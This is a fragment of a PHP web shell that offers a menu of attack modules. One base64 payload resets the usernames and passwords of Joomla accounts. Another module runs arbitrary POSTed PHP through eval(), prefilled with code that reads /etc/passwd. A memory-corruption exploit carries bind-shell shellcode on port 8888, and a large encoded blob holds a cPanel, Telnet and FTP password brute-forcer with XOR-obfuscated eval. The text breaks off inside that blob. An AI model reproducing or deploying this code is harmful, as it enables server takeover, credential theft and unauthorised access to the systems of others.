VCBwYXNzd29yZCA9JyIuJHB3ZC4iJyBXSEVSRSBJRCA9IDY0Iikgb3IgZGllKG15c3FsX2Vycm9y
KCkpOwokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgdXNlcm5hbWUgPSci
LiRhZG1pbi4iJyBXSEVSRSBJRCA9IDY1Iikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokU1FMPUBt
eXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgcGFzc3dvcmQgPSciLiRwd2QuIicgV0hF
UkUgSUQgPSA2NSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKaWYoJFNRTCl7CmVjaG8gIjxiPlN1
Y2Nlc3MgOk5vdyBVc2UgQSBOZXcgVXNlciBBbmQgUGFzc3dvcmQgLSAoMTIzNDU2KSI7Cn0KfQ==
"));
break;
case "PHP_24":
    $code=stripslashes($_POST['code']);
    echo '<center><br><h3> PHP Code Evaluating </h3></center>
    <center>
    <form method="POST" action="">
    <input type="hidden" name="id" value="eval">
    <textarea name ="code" rows="10" cols="85" class="textarea">',$code,'mkDIR("file:");
chdir("file:");
mkDIR("etc");
chdir("etc");
mkDIR("passwd");
chdir("..");
chdir("..");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "file:file:///etc/passwd");
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);

curl_close($ch);</textarea><br><br>
    <input type="submit" value=" Evaluate PHP Code" class="button"><hr>
    </form>
    <textarea rows="10" cols="85" class="textarea">';
    eval($code);
    echo '</textarea><br><br>';
break;
case "PHP_25":
   $shellcode = "jfXj[RSj".

                "RCh".

                """. //port (8888)

                "".

                "jQPf".

                "CCfRVC".

                "f?I".

                "ARhn/shh//".

                "biRS";



  $________________________str = str_repeat("A", 39);

  $________________________yyy = &$________________________str;

  $________________________xxx = &$________________________str;

  for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;

  $________________________aaa = "   XXXXX   ";

  $________________________aab = " XXXx.xXXX ";

  $________________________aac = " XXXx.xXXX ";

  $________________________aad = "   XXXXX   ";

  unset($________________________xxx);

  unset($________________________aaa);

  unset($________________________aab);

  unset($________________________aac);

  unset($________________________aad);

  $arr = array($shellcode => 1);



  $addr = unpack("L", substr($________________________str, 6*4, 4));

  $addr = $addr[1] + 32;

  $addr = pack("L", $addr);



  for ($i=0; $i<strlen($addr); $i++) {

    $________________________str[8*4+$i] = $addr[$i];

    $________________________yyy[8*4+$i] = $addr[$i];

  }

  unset($arr);
break;
case "PHP_26":

$crackftp = 'PD9waHAKJGNwYW5lbF9wb3J0PSIyMDgyIjsKJGNvbm5lY3RfdGltZW91dD01OwpzZXRfdGltZV9s
aW1pdCgwKTsKJHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOwokdXNlcnM9JF9SRVFVRVNUWyd1
c2VycyddOwokcGFzcz0kX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOwokdGFyZ2V0PSRfUkVRVUVTVFsn
dGFyZ2V0J107CiRjcmFja3R5cGU9JF9SRVFVRVNUWydjcmFja3R5cGUnXTsKaWYoJHRhcmdldCA9
PSAiIil7CiR0YXJnZXQgPSAibG9jYWxob3N0IjsKfQokY2hhcnNldD0kX1JFUVVFU1RbJ2NoYXJz
ZXQnXTsKaWYoJGNoYXJzZXQ9PSIiKQogJGNoYXJzZXQ9Imxvd2VyY2FzZSI7CiRtYXhfbGVuZ3Ro
PSRfUkVRVUVTVFsnbWF4X2xlbmd0aCddOwppZigkbWF4X2xlbmd0aD09IiIpCiAkbWF4X2xlbmd0
aD0xMDsKJG1pbl9sZW5ndGg9JF9SRVFVRVNUWydtaW5fbGVuZ3RoJ107CmlmKCRtaW5fbGVuZ3Ro
PT0iIikKICRtaW5fbGVuZ3RoPTE7CgogJGNoYXJzZXRhbGwgPSBhcnJheSgiYSIsICJiIiwgImMi
LCAiZCIsICJlIiwgImYiLCAiZyIsICJoIiwgImkiLCAiaiIsICJrIiwgImwiLCAibSIsICJuIiwg
Im8iLCAicCIsICJxIiwgInIiLCAicyIsICJ0IiwgInUiLCAidiIsICJ3IiwgIngiLCAieSIsICJ6
IiwgIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkciLCAiSCIsICJJIiwgIkoiLCAiSyIs
ICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwgIlMiLCAiVCIsICJVIiwgIlYiLCAi
VyIsICJYIiwgIlkiLCAiWiIsICIwIiwgIjEiLCAiMiIsICIzIiwgIjQiLCAiNSIsICI2IiwgIjci
LCAiOCIsICI5Iik7CiAkY2hhcnNldGxvd2VyID0gYXJyYXkoImEiLCAiYiIsICJjIiwgImQiLCAi
ZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwgIm0iLCAibiIsICJvIiwgInAi
LCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4IiwgInkiLCAieiIpOwogJGNo
YXJzZXR1cHBlciA9IGFycmF5KCJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgi
LCAiSSIsICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwg
IlQiLCAiVSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiKTsKICRjaGFyc2V0bnVtZXJpYyA9IGFy
cmF5KCIwIiwgIjEiLCAiMiIsICIzIiwgIjQiLCAiNSIsICI2IiwgIjciLCAiOCIsICI5Iik7CiAk
Y2hhcnNldGxvd2VybnVtZXJpYyA9IGFycmF5KCJhIiwgImIiLCAiYyIsICJkIiwgImUiLCAiZiIs
ICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4iLCAibyIsICJwIiwgInEiLCAi
ciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5IiwgInoiLCAiMCIsICIxIiwgIjIi
LCAiMyIsICI0IiwgIjUiLCAiNiIsICI3IiwgIjgiLCAiOSIpOwogJGNoYXJzZXR1cHBlcm51bWVy
aWMgPSBhcnJheSgiQSIsICJCIiwgIkMiLCAiRCIsICJFIiwgIkYiLCAiRyIsICJIIiwgIkkiLCAi
SiIsICJLIiwgIkwiLCAiTSIsICJOIiwgIk8iLCAiUCIsICJRIiwgIlIiLCAiUyIsICJUIiwgIlUi
LCAiViIsICJXIiwgIlgiLCAiWSIsICJaIiwgIjAiLCAiMSIsICIyIiwgIjMiLCAiNCIsICI1Iiwg
IjYiLCAiNyIsICI4IiwgIjkiKTsKICRjaGFyc2V0bGV0dGVycyA9IGFycmF5KCJhIiwgImIiLCAi
YyIsICJkIiwgImUiLCAiZiIsICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4i
LCAibyIsICJwIiwgInEiLCAiciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5Iiwg
InoiLCAiQSIsICJCIiwgIkMiLCAiRCIsICJFIiwgIkYiLCAiRyIsICJIIiwgIkkiLCAiSiIsICJL
IiwgIkwiLCAiTSIsICJOIiwgIk8iLCAiUCIsICJRIiwgIlIiLCAiUyIsICJUIiwgIlUiLCAiViIs
ICJXIiwgIlgiLCAiWSIsICJaIiApOwogJGNoYXJzZXRzeW1ib2xzPSBhcnJheSgiISIsICJAIiwg
IiMiLCAiJCIsICIlIiwgIl4iLCAiJiIsICIqIiwgIigiLCAiKSIsIl8iICk7CiAkY2hhcnNldGxv
d2Vyc3ltYm9scyA9IGFycmF5KCJhIiwgImIiLCAiYyIsICJkIiwgImUiLCAiZiIsICJnIiwgImgi
LCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4iLCAibyIsICJwIiwgInEiLCAiciIsICJzIiwg
InQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5IiwgInoiLCIhIiwgIkAiLCAiIyIsICIkIiwgIiUi
LCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsKICRjaGFyc2V0dXBwZXJzeW1ib2xzID0g
YXJyYXkoIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkciLCAiSCIsICJJIiwgIkoiLCAi
SyIsICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwgIlMiLCAiVCIsICJVIiwgIlYi
LCAiVyIsICJYIiwgIlkiLCAiWiIsIiEiLCAiQCIsICIjIiwgIiQiLCAiJSIsICJeIiwgIiYiLCAi
KiIsICIoIiwgIikiLCJfIiApOwogJGNoYXJzZXRsZXR0ZXJzc3ltYm9scyA9IGFycmF5KCJhIiwg
ImIiLCAiYyIsICJkIiwgImUiLCAiZiIsICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJt
IiwgIm4iLCAibyIsICJwIiwgInEiLCAiciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIs
ICJ5IiwgInoiLCAiQSIsICJCIiwgIkMiLCAiRCIsICJFIiwgIkYiLCAiRyIsICJIIiwgIkkiLCAi
SiIsICJLIiwgIkwiLCAiTSIsICJOIiwgIk8iLCAiUCIsICJRIiwgIlIiLCAiUyIsICJUIiwgIlUi
LCAiViIsICJXIiwgIlgiLCAiWSIsICJaIiwiISIsICJAIiwgIiMiLCAiJCIsICIlIiwgIl4iLCAi
JiIsICIqIiwgIigiLCAiKSIsIl8iICk7CiAkY2hhcnNldG51bWVyaWNzeW1ib2xzID0gYXJyYXko
IjAiLCAiMSIsICIyIiwgIjMiLCAiNCIsICI1IiwgIjYiLCAiNyIsICI4IiwgIjkiLCIhIiwgIkAi
LCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsKICRjaGFyc2V0
bG93ZXJudW1lcmljc3ltYm9scyA9IGFycmF5KCJhIiwgImIiLCAiYyIsICJkIiwgImUiLCAiZiIs
ICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4iLCAibyIsICJwIiwgInEiLCAi
ciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5IiwgInoiLCAiMCIsICIxIiwgIjIi
LCAiMyIsICI0IiwgIjUiLCAiNiIsICI3IiwgIjgiLCAiOSIsIiEiLCAiQCIsICIjIiwgIiQiLCAi
JSIsICJeIiwgIiYiLCAiKiIsICIoIiwgIikiLCJfIiApOwogJGNoYXJzZXR1cHBlcm51bWVyaWNz
eW1ib2xzID0gYXJyYXkoIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkciLCAiSCIsICJJ
IiwgIkoiLCAiSyIsICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwgIlMiLCAiVCIs
ICJVIiwgIlYiLCAiVyIsICJYIiwgIlkiLCAiWiIsICIwIiwgIjEiLCAiMiIsICIzIiwgIjQiLCAi
NSIsICI2IiwgIjciLCAiOCIsICI5IiwiISIsICJAIiwgIiMiLCAiJCIsICIlIiwgIl4iLCAiJiIs
ICIqIiwgIigiLCAiKSIsIl8iICk7CiAkY2hhcnNldGxldHRlcnNzeW1ib2xzID0gYXJyYXkoImEi
LCAiYiIsICJjIiwgImQiLCAiZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwg
Im0iLCAibiIsICJvIiwgInAiLCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4
IiwgInkiLCAieiIsICJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgiLCAiSSIs
ICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwgIlQiLCAi
VSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiICwiISIsICJAIiwgIiMiLCAiJCIsICIlIiwgIl4i
LCAiJiIsICIqIiwgIigiLCAiKSIsIl8iICk7CiAkY2hhcnNldGxldHRlcnNudW1lcmljc3ltYm9s
cz1hcnJheSgiYSIsICJiIiwgImMiLCAiZCIsICJlIiwgImYiLCAiZyIsICJoIiwgImkiLCAiaiIs
ICJrIiwgImwiLCAibSIsICJuIiwgIm8iLCAicCIsICJxIiwgInIiLCAicyIsICJ0IiwgInUiLCAi
diIsICJ3IiwgIngiLCAieSIsICJ6IiwgIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkci
LCAiSCIsICJJIiwgIkoiLCAiSyIsICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwg
IlMiLCAiVCIsICJVIiwgIlYiLCAiVyIsICJYIiwgIlkiLCAiWiIgLCIhIiwgIkAiLCAiIyIsICIk
IiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIsIjAiLCAiMSIsICIyIiwgIjMiLCAi
NCIsICI1IiwgIjYiLCAiNyIsICI4IiwgIjkiICk7CglpZiAoJGNoYXJzZXQgPT0gImFsbCIpCgkJ
JHZhbHMgPSAkY2hhcnNldGFsbDsKICAgIGVsc2VpZiAoJGNoYXJzZXQgPT0gImxvd2VyY2FzZSIp
IAoJCSR2YWxzID0gJGNoYXJzZXRsb3dlcjsKCSBlbHNlaWYgKCRjaGFyc2V0ID09ICJ1cHBlcmNh
c2UiKSAKCQkkdmFscyA9ICRjaGFyc2V0dXBwZXI7CgkgZWxzZWlmICgkY2hhcnNldCA9PSAibnVt
ZXJpYyIpIAoJCSR2YWxzID0gJGNoYXJzZXRudW1lcmljOwoJIGVsc2VpZiAoJGNoYXJzZXQgPT0g
Imxvd2VybnVtZXJpYyIpIAoJCSR2YWxzID0gJGNoYXJzZXRsb3dlcm51bWVyaWM7CgkgZWxzZWlm
ICgkY2hhcnNldCA9PSAidXBwZXJudW1lcmljIikgCgkJJHZhbHMgPSAkY2hhcnNldHVwcGVybnVt
ZXJpYzsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gImxldHRlcnMiKSAKCQkkdmFscyA9ICRjaGFyc2V0
bGV0dGVyczsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gInN5bWJvbHMiKSAKCQkkdmFscyA9ICRjaGFy
c2V0c3ltYm9sczsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gImxvd2Vyc3ltYm9scyIpIAoJCSR2YWxz
ID0gJGNoYXJzZXRsb3dlcnN5bWJvbHM7CgllbHNlaWYgKCRjaGFyc2V0ID09ICJ1cHBlcnN5bWJv
bHMiKSAKCQkkdmFscyA9ICRjaGFyc2V0dXBwZXJzeW1ib2xzOwoJZWxzZWlmICgkY2hhcnNldCA9
PSAibGV0dGVyc3N5bWJvbHMiKSAKCQkkdmFscyA9ICRjaGFyc2V0bGV0dGVyc3N5bWJvbHM7Cgll
bHNlaWYgKCRjaGFyc2V0ID09ICJudW1iZXJzc3ltYm9scyIpIAoJCSR2YWxzID0gJGNoYXJzZXRu
dW1lcmljc3ltYm9sczsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gImxvd2VybnVtZXJpY3N5bWJvbHMi
KSAKCQkkdmFscyA9ICRjaGFyc2V0bG93ZXJudW1lcmljc3ltYm9sczsKCWVsc2VpZiAoJGNoYXJz
ZXQgPT0gInVwcGVybnVtZXJpY3N5bWJvbHMiKSAKCQkkdmFscyA9ICRjaGFyc2V0dXBwZXJudW1l
cmljc3ltYm9sczsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gImxldHRlcnNudW1lcmljc3ltYm9scyIp
IAoJCSR2YWxzID0gJGNoYXJzZXRsZXR0ZXJzbnVtZXJpY3N5bWJvbHM7CgllbHNlIGVjaG8gIklO
VkFMSUQgQ0hBUlNFVCI7Cgkka2V5X3RoYXRfc2NyaXB0X2lzX2NyeXB0ZWQ9MTk7CiRyZXNvdXJj
ZV9jcnlwdGVkX2NvZGUgPSceGTd+YDMuMzdMQFZBRVZBSDFAVkFFVkFMXVJeVjFOPTdMQFZBRVZB
SDFAUEFaQ0dMXVJeVjFOKB4ZN2BmcTMuMzFAe3Z/fzMtLTMpMzEzPTM3fmAoHhk3fDMuM3JhYXJq
MzsxfH4xPzFnfnJ6MT8xeUxyfmEiMT8xU3t8MT8xfz1wMTooHhk3dnYzLjM3fEghTj03fEggTj03
fEgiTj03fEhbdDNdTj03fEgjTigeGTdgdn13My4zU35yen87N3Z2PzdgZnE/N35gOigzHhknOwok
c3RyaW5nX291dHB1dD1zdHJfcmVwbGFjZSgiW3QxXSIsICI8PyIsICRyZXNvdXJjZV9jcnlwdGVk
X2NvZGUpOwokc3RyaW5nX291dHB1dD1zdHJfcmVwbGFjZSgiW3QzXSIsICInIiwgJHN0cmluZ19v
dXRwdXQpOwokbGVudGhfb2ZfY3J5cHRlZF9jb2RlPXN0cmxlbigkc3RyaW5nX291dHB1dCk7CiRl
dmFsX3BocF9jb2RlPScnOwpmb3IoJGh1aXZhbXZzZW09MDskaHVpdmFtdnNlbTwkbGVudGhfb2Zf
Y3J5cHRlZF9jb2RlOyRodWl2YW12c2VtKyspCiRldmFsX3BocF9jb2RlIC49IGNocihvcmQoJHN0
cmluZ19vdXRwdXRbJGh1aXZhbXZzZW1dKSBeICRrZXlfdGhhdF9zY3JpcHRfaXNfY3J5cHRlZCk7
CmV2YWwoJGV2YWxfcGhwX2NvZGUpOwo/Pgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9
IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj4KPC9oZWFkPgo8dGl0bGU+Q3BhbmVs
ICwgRlRQIENyYUNrZVI8L3RpdGxlPgo8Ym9keSB0ZXh0PSIjMDBGRjAwIiBiZ2NvbG9yPSIjMDAw
MDAwIiB2bGluaz0iIzAwODAwMCIgbGluaz0iIzAwODAwMCIgYWxpbms9IiMwMDgwMDAiPgo8ZGl2
IGFsaWduPSJjZW50ZXIiPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHN0eWxlPSJib3JkZXI6IDFweCBz
b2xpZCAjMDAwMDAwIj4KICAgICAgICA8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3LmFs
bTNyZWZoLmNvbS91cGxvYWQvZ3JvdXAvZ3JvdXB4cC5naWYiIHdpZHRoPSI0MjYiIGhlaWdodD0i
MTY5Ij48dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iNjclIiBib3JkZXJjb2xvcmxpZ2h0PSIjMDA4
MDAwIiBib3JkZXJjb2xvcmRhcms9IiMwMDM3MDAiPgogICAgICAgICAgICAgICAgPHRyPgogICAg
ICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+PGZv
bnQgY29sb3I9IiMwMDgwMDAiIGZhY2U9IlRhaG9tYSIgc2l6ZT0iMiI+CiAgICAgICAgICAgICAg
ICA8c3BhbiBsYW5nPSJlbi11cyI+SVAgc2VydmVyPC9zcGFuPiA6PC9mb250Pjxmb250IGZhY2U9
IkFyaWFsIj4KICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwiIGNvbG9yPSIjQ0MwMDAw
Ij4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGFyZ2V0IiBzaXplPSIxNiIgdmFs
dWU9Ijw/cGhwIGVjaG8gJHRhcmdldCA/PiIgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFE
MUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiMwMDgwMDA7IGZvbnQtZmFtaWx5
OlZlcmRhbmE7IGZvbnQtd2VpZ2h0OmJvbGQ7IGZvbnQtc2l6ZToxM3B4Ij48L2ZvbnQ+PC9iPjwv
cD4KICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48Yj48Zm9udCBjb2xvcj0iIzAwODAwMCIgZmFj
ZT0iVGFob21hIiBzaXplPSIyIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsg
PC9mb250PjwvYj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249ImNlbnRl
ciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMSIgd2lk
dGg9IjU3JSIgYm9yZGVyY29sb3JsaWdodD0iIzAwODAwMCIgYm9yZGVyY29sb3JkYXJrPSIjMDAz
NzAwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50
ZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBsYW5nPSJl
bi11cyI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjxiPlVzZXIgTGlzdDwvYj48L2ZvbnQ+PC9zcGFu
PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0
ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgYWxp
Z249ImNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFu
IGxhbmc9ImVuLXVzIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PGI+UGFzc3dvcmQgTGlzdDwvYj48
L2ZvbnQ+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CgogICAgICAg
ICAgICAgICAgICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8dGV4dGFyZWEgcm93cz0i
MjAiIG5hbWU9InVzZXJzIiBjb2xzPSIyNSIgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFE
MUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAiPjw/cGhwIGVjaG8g
JHVzZXJzID8+CjwvdGV4dGFyZWE+PHRleHRhcmVhIHJvd3M9IjIwIiBuYW1lPSJwYXNzd29yZHMi
IGNvbHM9IjI1IiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1j
b2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCI+PD9waHAgZWNobyAkcGFzcyA/PjwvdGV4dGFy
ZWE+PGJyPgogICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9u
dCBzdHlsZT0iZm9udC13ZWlnaHQ6NzAwIiBzaXplPSIyIiBmYWNlPSJUYWhvbWEiIGNvbG9yPSIj
MDA4MDAwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
PHNwYW4gbGFuZz0iYXItc2EiPkd1ZXNzIG9wdGlvbnM8L3NwYW4+PC9mb250Pjxmb250IHN0eWxl
PSJmb250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSI+PHNwYW4gc3R5bGU9
ImZvbnQtc2l6ZTogOXB0OyI+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIDxmb250IGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVl
PSJjcGFuZWwiIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgY2hlY2tlZCB0eXBlPSJyYWRpbyI+
PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ3BhbmVsPC9mb250
Pjxmb250IHNpemU9IjIiIGNvbG9yPSIjY2MwMDAwIiBmYWNlPSJUYWhvbWEiPgogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgc2l6ZT0i
MiIgY29sb3I9IiNGRkZGRkYiIGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICgyMDgyKTwvZm9udD48L2I+PGZvbnQgc2l6ZT0iMiIg
ZmFjZT0iVGFob21hIj48Yj4gPC9iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICA8L2ZvbnQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIDxmb250IHN0eWxlPSJmb250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFj
ZT0iVmVyZGFuYSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdDsiPjxmb250IGZhY2U9IlRhaG9tYSI+CgkJ
CQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJjcGFuZWwyIiBzdHlsZT0i
Zm9udC13ZWlnaHQ6IDcwMDsiIHR5cGU9InJhZGlvIj48L2ZvbnQ+PC9zcGFuPjwvZm9udD48Yj48
Zm9udCBzaXplPSIyIiBmYWNlPSJUYWhvbWEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBUZWxuZXQ8L2ZvbnQ+PGZvbnQgc2l6ZT0iMiIgY29sb3I9IiNj
YzAwMDAiIGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0i
VGFob21hIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
KDIzKTwvZm9udD48L2I+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj48Yj4gPC9iPgogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJm
b250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSI+CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6
IDlwdDsiPjxmb250IGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJmdHAiIHN0
eWxlPSJmb250LXdlaWdodDogNzAwOyIgdHlwZT0icmFkaW8iPjwvZm9udD48L3NwYW4+PC9mb250
Pjxmb250IHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250Pjxz
cGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjIiIGZhY2U9IlRhaG9tYSI+RnRwIDwv
Zm9udD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZv
bnQgc2l6ZT0iMiIgY29sb3I9IiNGRkZGRkYiIGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMSk8L2ZvbnQ+PC9zcGFuPgoJCQkJ
CQkJCQkJCQk8YnI+CgkJCQkJCQkJCQkJCTxmb250IHN0eWxlPSJmb250LXdlaWdodDo3MDAiIHNp
emU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiMwMDgwMDAiPjxzcGFuIGxhbmc9ImFyLXNhIj5U
aW1lb3V0IGRlbGF5PC9zcGFuPgoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0i
Y29ubmVjdF90aW1lb3V0IiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3Jv
dW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJGNvbm5lY3Rf
